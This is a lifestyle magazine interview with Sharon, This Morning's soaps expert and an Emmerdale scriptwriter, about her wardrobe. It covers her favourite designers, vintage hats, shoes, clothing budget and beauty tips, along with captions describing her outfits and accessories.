This colourful dress is by one of the soap buff’s favourite designers, Vivienne Westwood. The orange bracelet was a gift from Tara Palmer-Tomkinson

Sharon often wears this LK Bennett frock to the National Television Awards. Here she teams it with Betsey Johnson heels and a statement brooch

Sharon, 45, worked as a newspaper journalist before writing her own book, Tabloid Girl, and co-writing The Naughty Girl’s Guide To Life with the late Tara Palmer-Tomkinson. She has been This Morning’s soaps expert since 2003 and is currently a scriptwriter for Emmerdale. She lives in west London with her boyfriend, music executive Paul Fletcher.

How would you describe your style? Eclectic – I’m a bit of a magpie. Happily, I’m the same clothes or shoe size as some of my This Morning colleagues, so we can share – or steal – each other’s clothes. Ruth [Langsford] always sees the funny side if I turn up on air in one of her outfits.

What colours and shapes suit you best? You can’t go wrong with black, but I do try to always add in a pop of colour from a pair of shoes or a scarf. I like full skirts and nipped-in waists, although it’s not entirely practical for writing in. I always write in high heels, though. It’s like putting on a uniform.

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How does your TV wardrobe compare to your everyday outfits? Outside I’ll normally go for more of a corseted 1940s look, but on TV

I wear more shift dresses. You have to think what works well sitting down, and some colours don’t work on screen. I think if you’re on telly you should dress as if you’ve gone round to the viewers’ house for dinner.

What is you favourite fashion era? I love the 40s and 50s fashions and I scour vintage shops for pieces. If I wear a 50s-style outfit on-screen I’ll often get viewers asking where it’s from.

Who is your style icon? Dita Von Teese. When she came in the studio she said she liked my shirt – I was so happy. I like the old Hollywood icons, like Audrey Hepburn, and Princess Margaret always looked fabulous.

Do you own more high street or high end? 

A real mix. I invest in nice coats and good shoes, and I go to the end-of-season sales of some designers. But the high street is great for basics.

Which are your favourite high-street stores? Zara, Topshop and LK Bennett are fantastic. There’s a silly assumption that you can’t really wear the same thing twice on TV so there’s no point me spending a lot of money.

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A selection of Sharon’s favourite accessories

Her jewellery collection includes this bracelet and necklace brought from Japan by her grandfather as a gift for her grandmother during the Second World War and pieces borrowed from colleagues. “I wear jewellery to remind myself of people. When I wear it, it’s like I’ve got all my girls with me,” Sharon says

“My boyfriend, who looks after heavy metal bands, is trying to transform me into a bit of a rock chick,” she says of this Iron Maiden T-shirt and her Christian Louboutin heels. “I didn’t own a pair of jeans until I met him”

Her jute shopper is an Emmerdale memento, the round tin bag is by Littlearth and the pink Smythson folder was a gift from her friend Tara Palmer-Tomkinson. “I use it to store my stockings,” she reveals

The pink Betsey Johnsons’ are Sharon’s “lucky” shoes, the leopard prints and silver pair are from Holly Willoughby’s work wardrobe and the black heels are by Chanel

“My grandmother owned a hat shop and I love wearing them,” she says of her vintage headgear

A selection of Alexander McQueen scarves

Do you have any favourite designers? Alexander McQueen and Vivienne Westwood – she designs for curves. I’ll usually only shop in the sales, though. If Vivienne Westwood has taken 40 per cent off, it’s rude to just walk past the shop. I love Louboutin shoes, too. They just make you feel happy. 

Do you own anything vintage? Yes, lots. My grandmother owned a hat shop, although she had to sell most of them in the end, but I do go searching for vintage hats. I’ve about 100. There’s a little shop in New York I buy a lot from.

Are you a hoarder or do you clear out your wardrobe regularly? I’m quite good. Anything 

I haven’t worn in a year goes in two piles: a charity shop pile and a “what was I thinking?” pile. I keep all the expensive stuff though.

What is the most expensive item in your wardrobe? A midnight blue velvet Alexander McQueen cloak that I feel like the Wicked Witch of the West in. It’s great for red carpets. My Chanel shoes were expensive, too, probably about £300.

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How much do you spend on clothes a month? I’ll buy nothing for three months and then I’ll splurge and spend about £500. I’ll save up for something I love though, and I also buy myself rewards for achievements, like my first soap scripts.

How many pairs of shoes have you? Maybe 60? I used to have them up on shelves in the house but they’re all in boxes now. My most comfortable pair of heels were made by a drag queen. I’ve about 10 handbags but I get them in neutral colours so they go with everything.

What is your best beauty secret? Water – lots of. I love Stila’s illuminator, too, and you can’t go wrong with a good red lipstick.

What is the best piece of fashion advice you have ever been given? Buy stuff that puts a smile on your face – you never regret it. And Tara Palmer-Tomkinson said, “People who say that money doesn’t buy you happiness don’t know where to shop.” 

This Morning is on weekdays on ITV at 10.30am.

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